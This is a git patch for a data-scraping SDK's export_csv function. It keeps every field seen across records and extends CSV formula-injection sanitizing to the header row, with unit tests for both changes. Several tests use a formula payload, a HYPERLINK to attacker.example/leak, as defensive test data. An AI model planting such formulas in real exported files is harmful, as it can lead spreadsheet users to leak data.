From 5867ea3795fb4994389e92a982a9d5dfa4904768 Mon Sep 17 00:00:00 2001 From: chiruu12 <103719146+chiruu12@users.noreply.github.com> Date: Mon, 17 Aug 2026 01:19:18 +0530 Subject: [PATCH] fix: keep all fields and sanitize the CSV header in export_csv --- src/brightdata/datasets/utils.py | 23 +++++--- tests/unit/test_datasets_export_csv.py | 30 ++++++++++ tests/unit/test_datasets_export_csv_fields.py | 59 +++++++++++++++++++ 3 files changed, 105 insertions(+), 7 deletions(-) create mode 100644 tests/unit/test_datasets_export_csv_fields.py diff --git a/src/brightdata/datasets/utils.py b/src/brightdata/datasets/utils.py index 4deca9a..4b41e0c 100644 --- a/src/brightdata/datasets/utils.py +++ b/src/brightdata/datasets/utils.py @@ -81,11 +81,13 @@ def export_csv( Args: data: List of records from download() filepath: Output file path - fields: Specific fields to export (default: all fields from first record) + fields: Specific fields to export (default: every field seen across all + records, in first-seen order) flatten_nested: Convert nested objects/arrays to JSON strings (default: True) - sanitize: Escape cell values that would be interpreted as formulas by - spreadsheet applications (leading '=', '+', '-', '@', tab, or CR), - preventing CSV/formula injection (CWE-1236). Default: True. + sanitize: Escape header and cell values that would be interpreted as + formulas by spreadsheet applications (leading '=', '+', '-', '@', + tab, or CR), preventing CSV/formula injection (CWE-1236). + Default: True. Returns: Path to the created file @@ -97,9 +99,11 @@ def export_csv( filepath = Path(filepath) - # Determine fields + # Determine fields. Scraped records are heterogeneous: optional keys are + # absent when a page does not have them, so the union across all records + # is used, in first-seen order, rather than just the first record's keys. if fields is None: - fields = list(data[0].keys()) + fields = list(dict.fromkeys(key for record in data for key in record)) # Process data processed_data = [] @@ -117,7 +121,12 @@ def export_csv( # Write CSV with open(filepath, "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter(f, fieldnames=fields) - writer.writeheader() + if sanitize: + # Field names come from the scraped payload too, so the header row + # needs the same treatment as the cells below it. + writer.writerow({field: _sanitize_csv_cell(field) for field in fields}) + else: + writer.writeheader() writer.writerows(processed_data) return filepath diff --git a/tests/unit/test_datasets_export_csv.py b/tests/unit/test_datasets_export_csv.py index 1586236..4a9803c 100644 --- a/tests/unit/test_datasets_export_csv.py +++ b/tests/unit/test_datasets_export_csv.py @@ -98,6 +98,36 @@ def test_all_documented_trigger_characters_are_escaped(self, tmp_path, trigger): assert rows[0]["name"] == f"'{trigger}payload" + def test_header_row_is_sanitized(self, tmp_path): + # Field names come from the scraped payload, so a formula can arrive as + # a key. Sanitizing only the cells leaves the header cell executable. + payload = '=HYPERLINK("https://attacker.example/leak","x")' + data = [{payload: "safe", "ok": "plain"}] + filepath = export_csv(data, tmp_path / "out.csv") + + with open(filepath, newline="", encoding="utf-8") as f: + header = next(csv.reader(f)) + + assert header == ["'" + payload, "ok"] + + def test_header_row_is_untouched_when_sanitize_is_false(self, tmp_path): + payload = '=HYPERLINK("https://attacker.example/leak","x")' + filepath = export_csv([{payload: "safe"}], tmp_path / "out.csv", sanitize=False) + + with open(filepath, newline="", encoding="utf-8") as f: + header = next(csv.reader(f)) + + assert header == [payload] + + def test_explicit_fields_are_sanitized_too(self, tmp_path): + payload = "@SUM(1,1)" + filepath = export_csv([{payload: "safe"}], tmp_path / "out.csv", fields=[payload]) + + with open(filepath, newline="", encoding="utf-8") as f: + header = next(csv.reader(f)) + + assert header == ["'" + payload] + def test_export_auto_detect_forwards_sanitize_kwarg(self, tmp_path): payload = '=HYPERLINK("https://attacker.example/leak","x")' data = [{"name": payload}] diff --git a/tests/unit/test_datasets_export_csv_fields.py b/tests/unit/test_datasets_export_csv_fields.py new file mode 100644 index 0000000..9fa5dd7 --- /dev/null +++ b/tests/unit/test_datasets_export_csv_fields.py @@ -0,0 +1,59 @@ +""" +Tests for column selection in export_csv. + +Scraper output is heterogeneous: an optional field is simply absent when a +page does not have it. The column list therefore has to come from every +record, not just the first one, or those values are dropped with no error. +""" + +import csv + +from brightdata.datasets.utils import export_csv + + +class TestExportCsvFields: + def test_fields_missing_from_the_first_record_are_kept(self, tmp_path): + data = [ + {"url": "a.com", "price": 10}, + {"url": "b.com", "price": 20, "discount": "50%"}, + ] + filepath = export_csv(data, tmp_path / "out.csv") + + with open(filepath, newline="", encoding="utf-8") as f: + reader = csv.DictReader(f) + assert reader.fieldnames == ["url", "price", "discount"] + rows = list(reader) + + assert rows[0]["discount"] == "" + assert rows[1]["discount"] == "50%" + + def test_column_order_follows_first_appearance(self, tmp_path): + data = [ + {"b": 1, "a": 2}, + {"c": 3, "a": 4}, + {"d": 5}, + ] + filepath = export_csv(data, tmp_path / "out.csv") + + with open(filepath, newline="", encoding="utf-8") as f: + assert next(csv.reader(f)) == ["b", "a", "c", "d"] + + def test_explicit_fields_still_win(self, tmp_path): + data = [{"url": "a.com", "price": 10}, {"url": "b.com", "discount": "50%"}] + filepath = export_csv(data, tmp_path / "out.csv", fields=["url"]) + + with open(filepath, newline="", encoding="utf-8") as f: + reader = csv.DictReader(f) + assert reader.fieldnames == ["url"] + assert [row["url"] for row in reader] == ["a.com", "b.com"] + + def test_matches_what_jsonl_would_have_kept(self, tmp_path): + # The same result set must not lose keys just because the caller picked + # CSV over JSONL. + data = [{"url": "a.com"}, {"url": "b.com", "discount": "50%"}] + filepath = export_csv(data, tmp_path / "out.csv") + + with open(filepath, newline="", encoding="utf-8") as f: + columns = set(next(csv.reader(f))) + + assert columns == {key for record in data for key in record}